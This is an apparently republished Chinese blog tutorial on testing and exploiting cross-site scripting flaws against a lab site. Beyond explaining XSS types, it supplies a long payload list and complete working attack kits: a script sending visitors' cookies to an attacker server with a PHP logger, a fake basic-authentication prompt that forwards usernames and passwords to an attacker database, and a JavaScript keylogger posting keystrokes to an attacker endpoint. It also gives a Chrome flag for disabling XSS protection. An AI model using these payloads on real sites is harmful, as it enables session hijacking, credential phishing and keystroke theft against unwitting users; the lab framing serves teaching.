85.网络安全渗透测试—[常规漏洞挖掘与利用篇1]—[xss漏洞挖掘-测试与利用]

本文阅读 18 分钟
首页 代码,C/C#/C++ 正文

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

一、xss漏洞测试与利用

1、相关概念

(1)xss漏洞概念: XSS攻击全称跨站脚本攻击,是为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到web网站里面,供给其它用户访问,当用户访问到有恶意代码的网页就会产生xss攻击。

(2)xss漏洞实质: XSS漏洞利用,就是注入一对script标签,其一是直接内含恶意js语句;其二是标签里面引入一个恶意js脚本文件,该js文件中含有着我们编写的js脚本,这个脚本的功能有很多种类,比如基本认证钓鱼、获得用户cookie、内网IP等等!!!

(3)xss漏洞危害:

盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
盗窃企业重要的具有商业价值的资料
非法转账
强制发送电子邮件
网站挂马
控制受害者机器向其它网站发起攻击

2、xss漏洞类型

(1)反射型: 反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码。 img

(2)存储型: 存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章或发表评论等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。 img

(3)DOM型: DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。          DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。          在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。          火狐浏览器默认是不能执行这种dom型xss,因为火狐会把url上面的字符串进行编码,在ie里面默认不编码,但是要关闭xss过滤器方可执行。

document.referer属性
window.name属性
location属性
innerHTML属性
documen.write属性

3、xss漏洞测试

(1)测试的目的是: 为了验证当前页面是否会执行我们注入的html标签或js语句,从而可以让我们注入恶意js语句或引入恶意js脚本文件。

(2)常规测试语句:

反射型&存储型&dom:注意火狐会对dom型进行url编码,所以要使用ie
<h5>1</h5>
<script>alert(/xss/)</script>
<SCRIPT>alert(document.cookie)</SCRIPT>
<img src=1 onerror=alert(document.cookie)>

存储型&dom:注意火狐会对dom型进行url编码,所以要使用ie
<script>var img=document.createElement("img");img.src="//192.168.97.130/exp/xss/a?"+escape(document.cookie);</script>

(3)反射型测试:

http://www.webtester.com/xss/xss01.php?name=<;h5>1</h5> img http://www.webtester.com/xss/xss01.php?name=<;script>alert(/xss/)</script> img http://www.webtester.com/xss/xss01.php?name=<;SCRIPT>alert(document.cookie)</SCRIPT> img (4)存储型测试:

http://www.webtester.com/xss/xss02.php?name=

img

http://www.webtester.com/xss/xss02.php?name=<;script>var img=document.createElement("img");img.src="//192.168.97.130/exp/xss/a?"+escape(document.cookie);</script> img (5)DOM型测试:

http://www.webtester.com/xss/xss03.php?name=<;h5>1</h5> img http://www.webtester.com/xss/xss03.php?name=<;script>alert(/xss/)</script> img http://www.webtester.com/xss/xss03.php?name=<;SCRIPT>alert(document.cookie)</SCRIPT> img http://www.webtester.com/xss/xss03.php?name= img

(3)其他测试语句:

<script>alert('hello,gaga!');</script> //经典语句,哈哈!
>"'><img src="javascript.:alert('XSS')"> >"'><script>alert('XSS')</script> <table background='javascript.:alert(([code])'></table> <object type=text/html data='javascript.:alert(([code]);'></object> "+alert('XSS')+" '><script>alert(document.cookie)</script>

='><script>alert(document.cookie)</script> <script>alert(document.cookie)</script> <script>alert(vulnerable)</script> <s&#99;ript>alert('XSS')</script> <img src="javas&#99;ript:alert('XSS')"> %0a%0a<script>alert(\"Vulnerable\")</script>.jsp %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html <script>alert('Vulnerable')</script> a.jsp/<script>alert('Vulnerable')</script> "><script>alert('Vulnerable')</script> <IMG SRC="javascript.:alert('XSS');"> <IMG src="/javascript.:alert"('XSS')> <IMG src="/JaVaScRiPt.:alert"('XSS')> <IMG src="/JaVaScRiPt.:alert"(&quot;XSS&quot;)> <IMG SRC="jav&#x09;ascript.:alert('XSS');"> <IMG SRC="jav&#x0A;ascript.:alert('XSS');"> <IMG SRC="jav&#x0D;ascript.:alert('XSS');"> "<IMG src="/java"\0script.:alert(\"XSS\")>";'>out

<IMG SRC=" javascript.:alert('XSS');">

<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>

<BODY BACKGROUND="javascript.:alert('XSS')">

<BODY ONLOAD=alert('XSS')>

<IMG DYNSRC="javascript.:alert('XSS')">

<IMG LOWSRC="javascript.:alert('XSS')">

<BGSOUND SRC="javascript.:alert('XSS');">

<br size="&{alert('XSS')}">

<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>

<LINK REL="stylesheet"HREF="javascript.:alert('XSS');">

<IMG SRC='vbscript.:msgbox("XSS")'>

<META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');">

<IFRAME. src="/javascript.:alert"('XSS')></IFRAME>

<FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>

<TABLE BACKGROUND="javascript.:alert('XSS')">

<DIV STYLE="background-image: url(javascript.:alert('XSS'))">

<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html&#39;);">

<DIV STYLE="width: expression(alert('XSS'));">

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

<IMG STYLE='xss:expre\ssion(alert("XSS"))'>

<STYLE. TYPE="text/javascript">alert('XSS');</STYLE>

<STYLE. TYPE="text/css">.XSS{ background-image:url("javascript.:alert('XSS')");}</STYLE><A CLASS=XSS></A>

<STYLE. type="text/css">BODY{ background:url("javascript.:alert('XSS')")}</STYLE>

<BASE HREF="javascript.:alert('XSS');//">

getURL("javascript.:alert('XSS')")

a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);

<XML SRC="javascript.:alert('XSS');">

"> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"

<SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>

<IMG SRC="javascript.:alert('XSS')"

<SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

<SCRIPT>document.write("<SCRI");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT>

<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

4、xss漏洞利用原理:盗取COOKIE

(1)攻击者的恶意js脚本文件:xss_attack.js

         背景:当攻击者在评论处或留言板处测试出存在xss存储型漏洞,那么就可以通过一条script语句来外链攻击者的远程服务器上的这个xss_attack.js恶意脚本文件,从而执行下面的语句。          功能:该脚本可以创建一个img标签,并通过src来引入攻击者远程服务器上的xss_receive.php脚本,同时以GET形式传递此时在留言板或评论处获得的cookie值给qwsn参数

var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://攻击者远程WEB服务器/xss_receive.php?qwsn='+encodeURIComponent(document.cookie);
//通过qwsn参数传入cookie到攻击者的接收页面

(2)攻击者接收cookie的php文件:xss_receive.php

         功能:攻击者把从评论处或留言板处接收过来的qwsn参数值,保存到攻击者远程服务器上的qwsn.php页面中,从而得到其他人在访问留言板或评论时候的相应cookie值

<?php
    @ini_set('display_errors',1);
    $str = $_GET['qwsn']; //读取cookie
    $filePath = "qwsn.php"; //保存到qwsn.php
    $handler = fopen($filePath, "a");
    fwrite($handler, $str);
    fclose($handler);
?>

(3)攻击者-原理: 攻击者把payload发布到留言板或者评论处,当受害者访问该页面的时候,就会触发该xss漏洞,那么cookie值会通过qwsn参数传递给攻击者远程服务器上的php_receive.php页面内,并且保存到同目录下的qwsn.php内。

(4)受害者-原理: 受害者访问该留言板或评论页面,此时会立刻触发xss漏洞,也就是外链加载攻击者远程服务器上的xss_attack.js文件,该文件的功能就是把当前用户的cookie通过qwsn参数传递给攻击者远程服务器上的xss_receive.php页面,同时又把该cookie值保存到攻击者的qwsn.php页面内。

5、xss漏洞利用示例:盗取COOKIE

(1)靶机: http://www.webtester.com/xss/xss02.php

(2)攻击者WEB服务器:

攻击者IP:192.168.97.130(IP对应的域名www.exploit.com)
攻击者WEB服务的目录:192.168.97.130/exp/xss
攻击者存放js恶意脚本:192.168.97.130/exp/xss/xss.attack.js
攻击者存放接收cookie的php文件:192.168.97.130/exp/xss/xss_receive.php
攻击者存放cookie的文件:192.168.97.130/exp/xss/qwsn.php

(3)恶意脚本文件xss_attack.js,读取cookie,通过qwsn参数传入xss_receive.php页面

xss_attack.js内容:

var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://192.168.97.130/exp/xss/xss_receive.php?qwsn='+encodeURIComponent(document.cookie);

(4)xss_receive.php读取传来的qwsn参数的cookie参数值,并把cookie值写入到当前目录下的qwsn.php文件内。

xss_receive.php内容:

<?php
    @ini_set('display_errors',1);
    $str = $_GET['qwsn']; //读取cookie
    $filePath = "qwsn.php";    //保存到qwsn.php
    $handler = fopen($filePath, "a");
    fwrite($handler, $str);
    fclose($handler);
?>

(5)攻击者的payload:

payload-1:可以
<script src="http://192.168.97.130/exp/xss/xss_attack.js"></script>

payload-2:可以
<script src="//192.168.97.130/exp/xss/xss_attack.js"></script>

(6)利用过程:

第一步:模拟攻击者把payload1或payload2发布到留言板,当其他人访问该页面的时候,触发该xss漏洞,那么cookie值会通过qwsn参数传递给我们php_receive.php页面内,并且保存到qwsn.php内。

<script src="http://192.168.97.130/exp/xss/xss_attack.js"></script>

img 第二步:模拟受害者,访问该留言板页面,此时会立刻触发xss漏洞,也就是加载攻击者的xss_attack.js文件,该文件的功能就是把当前用户的cookie通过qwsn参数传递给攻击者的远程服务器上的xss_receive.php页面,该页面又把改cookie值保存到攻击者的qwsn.php页面内。 img

第三步:攻击者查看保存到qwsn.php页面内的cookie img 最后:同样的除了payload1之外,以上的payload2也可以达到相同的效果!!!

6、xss漏洞利用原理:基础认证钓鱼

(1)攻击者远程WEB服务器上的恶意钓鱼脚本,fish.php

         背景:当一个留言板或评论页面存在Xss存储下漏洞的时候,攻击者可以通过存入一个payload到该页面服务器的数据库中,从而可以让受害者在访问该页面的时候,触发payload。当然了该payload的功能就是外链这个存储在攻击者远程服务器上的基础认证框脚本fish.php。

         功能:弹窗提供一个基础认证框

<?php
    error_reporting(0);
    // var_dump($_SERVER);
    if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) { 
    //发送认证框,并给出迷惑性的info
        header('Content-type:text/html;charset=utf-8');
        header("WWW-Authenticate: Basic realm='认证'");
        header('HTTP/1.0 401 Unauthorized');
        echo 'Authorization Required.';
        exit;
    } else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){ 
    //将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
        header("Location: http://攻击者的远程WEB服务器/xfish.php?username={ $_SERVER[PHP_AUTH_USER]} &password={ $_SERVER[PHP_AUTH_PW]}");
    }
?>

(2)攻击者远程WEB服务器上的保存认证结果的文件,xfish.php

         功能:把受害则通过基础认证框传来的用户名和密码保存到攻击者远程服务器上的数据库中

<?php
    error_reporting(0);
    include_once '../inc/config.inc.php';
    include_once '../inc/mysql.inc.php';
    $link=connect();
    
    
    
    if(!empty($_GET['username']) && !empty($_GET['password'])){ 
    
        $username=$_GET['username'];
        $password=$_GET['password'];
        $referer="";
        $referer.=$_SERVER['HTTP_REFERER'];
        $time=date('Y-m-d g:i:s');
        $query="insert fish(time,username,password,referer) values('$time','$username','$password','$referer')";
        $result=mysqli_query($link, $query);
    }
?>

(3)攻击者远程WEB服务器上的调用保存的认证结果的文件,pkxss_fish_result.php

<?php
error_reporting(0);
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();


// 判断是否登录,没有登录不能访问
if(!check_login($link)){ 
    header("location:../pkxss_login.php");
}


if(isset($_GET['id']) && is_numeric($_GET['id'])){ 
    $id=escape($link, $_GET['id']);
    $query="delete from fish where id=$id";
    execute($link, $query);
}
?>

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>钓鱼结果</title>
<link rel="stylesheet" type="text/css" href="../antxss.css" />
</head>
<body>
<div id="title">
<h1>pikachu Xss 钓鱼结果</h1>
<a href="../xssmanager.php">返回首页</a>
</div>
<div id="result">
    <table class="tb" border="1px" cellpadding="10" cellspacing="1" bgcolor="#5f9ea0">
        <tr>
            <td class="1">id</td>
            <td class="1">time</td>
            <td class="1">username</td>
            <td class="1">password</td>
            <td class="2">referer</td>
            <td class="2">操作</td>
        </tr>
    <?php 
    $query="select * from fish";
    $result=mysqli_query($link, $query);
    while($data=mysqli_fetch_assoc($result)){ 
$html=<<<A <tr> <td class="1">{ $data['id']}</td> <td class="1">{ $data['time']}</td> <td class="1">{ $data['username']}</td> <td class="1">{ $data['password']}</td> <td class="2">{ $data['referer']}</td> <td><a href="pkxss_fish_result.php?id={ $data['id']}">删除</a></td> </tr> A;
         
        echo $html; 
    }
    ?>
    </table>
</div>
</body>
</html>

(3)攻击者原理

         攻击者把payload发布到留言板或者评论处,当受害者访问该页面的时候,就会触发该xss漏洞,那么基础认证框就会弹出来,一旦用户输入了用户名和密码信息,就会通过username和password参数传递给攻击者远程服务器上的xfish.php页面内,该页面的功能就是把传来的参数保存到攻击者数据库中。最后攻击者可以通过自己的服务器上的pkxss_fish_result.php页面,访问得到反弹来的认证结果!!!

(4)受害者原理

         受害者访问该留言板或评论页面,此时会立刻触发xss漏洞,也就是外链加载攻击者远程服务器上的fish.php脚本文件,该文件的功能就是把当前用户的认证框的username和password等参数传递给攻击者远程服务器上的fish.php页面,同时又把这些参数值保存到攻击者的数据库中以供攻击者调用查看。

7、xss漏洞利用示例:基础认证钓鱼

(1)靶机: http://www.webtester.com/xss/xss02.php

(2)攻击者WEB服务器:

攻击者IP:www.exploit.cool(域名对应的IP 192.168.97.130)
攻击者WEB服务的目录:http://www.exploit.cool/exp/pikachu/pkxss/xfish/
攻击者存放提供基础认证框的php恶意脚本:http://www.exploit.cool/exp/pikachu/pkxss/xfish/fish.php
攻击者存放接收认证结果的php文件:http://www.exploit.cool/exp/pikachu/pkxss/xfish/xfish.php
攻击者存放读取认证结果的php文件:http://www.exploit.cool/exp/pikachu/pkxss/xfish/pkxss_fish_result.php

(3)fish.php提供基础认证框

<?php
    error_reporting(0);
    // var_dump($_SERVER);
    if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) { 
    //发送认证框,并给出迷惑性的info
        header('Content-type:text/html;charset=utf-8');
        header("WWW-Authenticate: Basic realm='认证'");
        header('HTTP/1.0 401 Unauthorized');
        echo 'Authorization Required.';
        exit;
    } else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){ 
        //将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
        //echo$_SERVER['PHP_AUTH_USER'];
        //echo$_SERVER['PHP_AUTH_PW'];
        
        header("Location: http://www.exploit.cool/exp/pikachu/pkxss/xfish/xfish.php?username={ $_SERVER[PHP_AUTH_USER]}&password={ $_SERVER[PHP_AUTH_PW]}");
    }
?>

(4)xfish.php读取并保存认证结果

<?php
    error_reporting(0);
    include_once '../inc/config.inc.php';
    include_once '../inc/mysql.inc.php';
    $link=connect();
    
    if(!empty($_GET['username']) && !empty($_GET['password'])){ 
     
        $username=$_GET['username'];
        $password=$_GET['password'];
        $referer="";
        $referer.=$_SERVER['HTTP_REFERER'];
        $time=date('Y-m-d g:i:s');
        $query="insert fish(time,username,password,referer) values('$time','$username','$password','$referer')";
        $result=mysqli_query($link, $query);
    } 
?>

(5)攻击者的payload

payload-1:可以
<script src="http://www.exploit.cool/exp/pikachu/pkxss/xfish/fish.php"></script>

payload-2:可以
<script src="//www.exploit.cool/exp/pikachu/pkxss/xfish/fish.php"></script>

payload-3:未测试
<img src="http://www.exploit.cool/exp/pikachu/pkxss/xfish/fish.php" />

(6)利用过程

第一步:模拟攻击者把payload发布到留言板,当受害则访问该页面的时候,触发该xss漏洞。

img

第二步:模式受害者访问该留言板页面 img

第三步:模拟攻击者通过自己的WEB服务器上的pkxss_fish_result.php页面读取认证结果 img

或者攻击者通过数据库查看反弹的用户账号数据

img (7)注意:PHP 的 HTTP 认证机制仅在 PHP 以 Apache 模块方式运行时才有效,因此该功能不适用于 CGI 版本(且phpstudy的nts模式下也不不能使用)。在 Apache 模块的 PHP 脚本中,可以用 header() 函数来向客户端浏览器发送“Authentication Required”信息,使其弹出一个用户名/密码输入窗口。当用户输入用户名和密码后,包含有 URL 的 PHP 脚本将会再次和预定义变量 PHP_AUTH_USER、PHP_AUTH_PW 和 AUTH_TYPE 一起被调用,这三个变量分别被设定为用户名,密码和认证类型。预定义变量保存在 $_SERVER 或者 $HTTP_SERVER_VARS 数组中。系统仅支持“基本的”认证。

8、xss漏洞利用原理:键盘记录器

(1)跨域-同源策略 img (2)什么才叫做同源?

         答:两个页面地址中的协议,域名/ip地址,端口号一致,则表示同源。(也就是五元组)

(3)为什么要使用同源策略?

         答:设置同源策略的主要目的是为了安全,如果没有同源限制,在浏览器中的cookie等其他数据可以任意读取,不同域下的DOM任意操作,ajax任意请求其他网站的数据,包括隐私数据。

(4)读取键盘数据的rk.js恶意脚本

功能:该脚本读取受害者的键盘记录然后传入到攻击者远程服务器的rkserver.php页面内,该页面又把数据保存到攻击者的数据库中。

/** * Created by runner on 2018/7/8. */

function createAjax(){ 
    var request=false;
    if(window.XMLHttpRequest){ 
        request=new XMLHttpRequest();
        if(request.overrideMimeType){ 
            request.overrideMimeType("text/xml");
        }

    }else if(window.ActiveXObject){ 

        var versions=['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
        for(var i=0; i<versions.length; i++){ 
            try{ 
                request=new ActiveXObject(versions[i]);
                if(request){ 
                    return request;
                }
            }catch(e){ 
                request=false;
            }
        }
    }
    return request;
}

var ajax=null;
var xl="datax=";

function onkeypress() { 
    var realkey = String.fromCharCode(event.keyCode);
    xl+=realkey;
    show();
}

document.onkeypress = onkeypress;

function show() { 
    ajax = createAjax();
    ajax.onreadystatechange = function () { 
        if (ajax.readyState == 4) { 
            if (ajax.status == 200) { 
                var data = ajax.responseText;
            } else { 
                alert("页面请求失败");
            }
        }
    }

    var postdate = xl;
    ajax.open("POST", "http://攻击者WEB服务器/rkserver.php",true);
    ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    ajax.setRequestHeader("Content-length", postdate.length);
    ajax.setRequestHeader("Connection", "close");
    ajax.send(postdate);
}

(5)读取rk.js恶意脚本传来的键盘数据的文件rkserver.php

<?php
/** * Created by runner.han * There is nothing new under the sun */

include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

//设置允许被跨域访问
header("Access-Control-Allow-Origin:*");

$data = $_POST['datax'];
$query = "insert keypress(data) values('$data')";
$result=mysqli_query($link,$query);
?>

(6)攻击者读取受害者的敲击键盘数据的文件pkxss_keypress_result.php

<?php
// error_reporting(0);
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

// 判断是否登录,没有登录不能访问
if(!check_login($link)){ 
    header("location:../pkxss_login.php");
}


if(isset($_GET['id']) && is_numeric($_GET['id'])){ 
    $id=escape($link, $_GET['id']);
    $query="delete from keypress where id=$id";
    execute($link, $query);
}
?>


<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>键盘记录结果</title>
<link rel="stylesheet" type="text/css" href="../antxss.css" />
</head>
<body>
<div id="title">
<h1>pikachu Xss 获取键盘记录结果</h1>
<a href="../xssmanager.php">返回首页</a>
</div>
<div id="xss_main">
<table border="1px" cellpadding="10" cellspacing="1" bgcolor="#5f9ea0">
    <tr>
        <td>id</td>
        <td>记录</td>
        <td>操作</td>
    </tr>
    <?php 
    $query="select * from keypress";
    $result=mysqli_query($link, $query);
    while($data=mysqli_fetch_assoc($result)){ 
$html=<<<A <tr> <td>{ $data['id']}</td> <td>{ $data['data']}</td> <td><a href="pkxss_keypress_result.php?id={ $data['id']}">删除</a></td> </tr> A;
         
        echo $html;
        
        
    }
    
    ?>
    
</table>
</div>
</body>
</html>

(7)攻击者原理

         攻击者把payload发布到留言板或者评论处,当受害者访问该页面的时候,就会触发该xss漏洞,那么该页面就会外链攻击者远程服务器上的rk.js恶意脚本文件,该恶意脚本的功能就是把用户的键盘数据以POST形式传入到rkserver.php页面,该页面又把POST的数据内容,存储到数据库中。最后攻击者可以通过自己的服务器上的pkxss_keypress_result.php页面,访问得到受害者的敲击键盘的数据!

(8)受害者原理

         受害者访问该留言板或评论页面,此时会立刻触发xss漏洞,也就是外链加载攻击者远程服务器上的rk.js脚本文件,该恶意脚本的功能就是把用户的键盘数据以POST形式传入到rkserver.php页面,该页面又把POST的数据内容,存储到数据库中以供攻击者调用查看。

9、xss漏洞利用示例:键盘记录器

(1)靶机: http://www.webtester.com/xss/xss02.php

(2)攻击者WEB服务器:

攻击者IP:www.exploit.cool(域名对应的IP 192.168.97.130)
攻击者WEB服务的目录:http://www.exploit.cool/exp/pikachu/rkeypress/xfish/
攻击者存放提供基础认证框的js恶意脚本:http://www.exploit.cool/exp/pikachu/pkxss/rkeypress/rk.js
攻击者存放接收键盘数据的php文件:http://www.exploit.cool/exp/pikachu/pkxss/rkeypress/rkserver.php
攻击者存放读取键盘数据的php文件:http://www.exploit.cool/exp/pikachu/pkxss/rkeypress/pkxss_keypress_result.php

(3)rk.js

/** * Created by runner on 2018/7/8. */

function createAjax(){ 
    var request=false;
    if(window.XMLHttpRequest){ 
        request=new XMLHttpRequest();
        if(request.overrideMimeType){ 
            request.overrideMimeType("text/xml");
        }

    }else if(window.ActiveXObject){ 

        var versions=['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
        for(var i=0; i<versions.length; i++){ 
            try{ 
                request=new ActiveXObject(versions[i]);
                if(request){ 
                    return request;
                }
            }catch(e){ 
                request=false;
            }
        }
    }
    return request;
}

var ajax=null;
var xl="datax=";

function onkeypress() { 
    var realkey = String.fromCharCode(event.keyCode);
    xl+=realkey;
    show();
}

document.onkeypress = onkeypress;

function show() { 
    ajax = createAjax();
    ajax.onreadystatechange = function () { 
        if (ajax.readyState == 4) { 
            if (ajax.status == 200) { 
                var data = ajax.responseText;
            } else { 
                alert("页面请求失败");
            }
        }
    }

    var postdate = xl;
    ajax.open("POST", "http://www.exploit.cool/exp/pikachu/pkxss/rkeypress/rkserver.php",true);
    ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    ajax.setRequestHeader("Content-length", postdate.length);
    ajax.setRequestHeader("Connection", "close");
    ajax.send(postdate);
}

(4)rkserver.php

<?php
/** * Created by runner.han * There is nothing new under the sun */

include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();

//设置允许被跨域访问
header("Access-Control-Allow-Origin:*");

$data = $_POST['datax'];
$query = "insert keypress(data) values('$data')";
$result=mysqli_query($link,$query);
?>

(5)攻击者的payload

payload-1:可以
<script src="http://www.exploit.cool/exp/pikachu/pkxss/rkeypress/rk.js"></script>

payload-2:可以
<script src="//www.exploit.cool/exp/pikachu/pkxss/rkeypress/rk.js"></script>

payload-3:无效
<img src="http://www.exploit.cool/exp/pikachu/pkxss/rkeypress/rk.js" />

(6)利用过程:

第一步:模拟攻击者把payload发布到留言板,当受害则访问该页面的时候,触发该xss漏洞。

img img

第二步:模拟受害者访问该留言板触发xss漏洞,用户的敲击键盘的数据被记录到攻击者的远程数据库中。 img

第三步:模拟攻击者通过自己的WEB服务器上的pkxss_keypress_result.php页面读取认证结果

img 或者攻击者通过数据库查看键盘数据 img

10、关闭浏览器XSS防护机制

(1)IE浏览器的关闭方法: img

(2)chrome的关闭方法:

第一步:寻找Chrome的安装目录,如下所示

C:Program Files (x86)GoogleChromeApplicationChrome.exe

img

第二步:打开cmd,输入以下命令即可在关闭xss防护的时候打开浏览器,如下所示

"C:Program Files (x86)GoogleChromeApplicationChrome.exe" --args --disable-xss-auditor img

(3)firefox的关闭方法: img

11、思考

(1)弹窗测试的实质?

弹窗测试是为了测试script标签是否可用可控!!!

(2)script标签的作用?

第一点就是直接内嵌恶意的js脚本!!!

第二点就是src外链恶意的js脚本!!!
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/122693405
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复